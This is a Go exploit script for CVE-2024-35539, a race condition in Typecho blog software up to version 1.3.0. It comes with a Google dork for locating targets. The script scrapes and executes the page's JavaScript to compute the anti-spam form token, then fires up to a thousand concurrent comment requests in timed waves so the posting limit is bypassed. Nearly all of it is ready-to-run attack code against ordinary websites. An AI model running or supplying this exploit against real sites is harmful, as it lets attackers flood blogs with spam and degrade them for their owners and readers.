// Exploit Title: Typecho <= 1.3.0 Race Condition // Google Dork: intext:"Powered by Typecho" inurl:/index.php // Date: 18/08/2024 // Exploit Author: Michele 'cyberaz0r' Di Bonaventura // Vendor Homepage: https://typecho.org // Software Link: https://github.com/typecho/typecho // Version: 1.3.0 // Tested on: Typecho 1.3.0 Docker Image with PHP 7.4 (https://hub.docker.com/r/joyqi/typecho) // CVE: CVE-2024-35539 // For more information, visit the blog post: https://cyberaz0r.info/2024/08/typecho-multiple-vulnerabilities/ package main import ( "bytes" "fmt" "io" "net/http" "net/url" "os" "strings" "sync" "sync/atomic" "time" "github.com/robertkrimen/otto" ) var ( c int32 = 0 commentsPostInterval int64 = 60 maxThreads int = 1000 wg sync.WaitGroup userAgent string = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36" client *http.Client = &http.Client{ CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse }, } ) func getJSFunction(u string) string { req, err := http.NewRequest("GET", u, nil) if err != nil { fmt.Println("[X] Error creating initial request:", err) return "" } req.Header.Set("User-Agent", userAgent) resp, err := client.Do(req) if err != nil { fmt.Println("[X] Error sending initial request:", err) return "" } buf := new(bytes.Buffer) buf.ReadFrom(resp.Body) body := buf.String() if !strings.Contains(body, "input.value = (") || !strings.Contains(body, ")();;") { fmt.Println("[X] Error finding JavaScript function") return "" } jsFunction := strings.Split(body, "input.value = (")[1] jsFunction = strings.Split(jsFunction, ")();;")[0] return jsFunction } func executeJavaScript(jsFunctionName string, jsFunctionBody string) string { vm := otto.New() _, err := vm.Run(jsFunctionBody) if err != nil { fmt.Println("[X] Error executing JavaScript function:", err) return "" } result, err := vm.Call(jsFunctionName, nil) if err != nil { fmt.Println("[X] Error calling JavaScript function:", err) return "" } returnValue, err := result.ToString() if err != nil { fmt.Println("[X] Error converting JavaScript result to string:", err) return "" } return returnValue } func spamComments(u string, formToken string) { timestamp := time.Now().Unix() for { i := 0 for time.Now().Unix() < timestamp-1 { time.Sleep(250 * time.Millisecond) fmt.Printf("\r[*] Waiting for next spam wave... (%d seconds) ", timestamp-time.Now().Unix()-1) } fmt.Printf("\n") for time.Now().Unix() < timestamp+2 { if i < maxThreads { wg.Add(1) go spamRequest(u, formToken, i) i++ } } wg.Wait() fmt.Printf("\n[+] Successfully spammed %d comments\n", c) timestamp = time.Now().Unix() + commentsPostInterval } } func spamRequest(u string, formToken string, i int) { fmt.Printf("\r[*] Spamming comment request %d ", i) defer wg.Done() formData := url.Values{} formData.Set("_", formToken) formData.Set("author", fmt.Sprintf("user_%d", i)) formData.Set("mail", fmt.Sprintf("user%d@test.example", i)) formData.Set("text", fmt.Sprintf("Hello from user_%d", i)) req, err := http.NewRequest("POST", u+"comment", nil) if err != nil { return } req.Header.Set("Referer", u) req.Header.Set("User-Agent", userAgent) req.Header.Set("Content-Type", "application/x-www-form-urlencoded") req.Header.Set("Content-Length", fmt.Sprint(len(formData.Encode()))) req.Body = io.NopCloser(strings.NewReader(formData.Encode())) resp, err := client.Do(req) if err != nil { return } if resp.StatusCode == 302 { atomic.AddInt32(&c, 1) } defer resp.Body.Close() } func main() { if len(os.Args) != 2 { fmt.Println("Usage: go run CVE-2024-35538.go ") return } fmt.Println("[+] Starting Typecho <= 1.3.0 Race Condition exploit (CVE-2024-35539) by cyberaz0r") targetUrl := os.Args[1] fmt.Println("[+] Spam target:", targetUrl) fmt.Println("[*] Getting JavaScript function to calculate form token...") jsFunction := getJSFunction(targetUrl) if jsFunction == "" { fmt.Println("[-] Could not get JavaScript function, exiting...") return } fmt.Println("[*] Evaluating JavaScript function to calculate form token...") formToken := executeJavaScript("calculateToken", strings.Replace(jsFunction, "function ()", "function calculateToken()", 1)) if formToken == "" { fmt.Println("[-] Could not get form token, exiting...") return } fmt.Printf("[+] Form token: %s", formToken) spamComments(targetUrl, formToken) }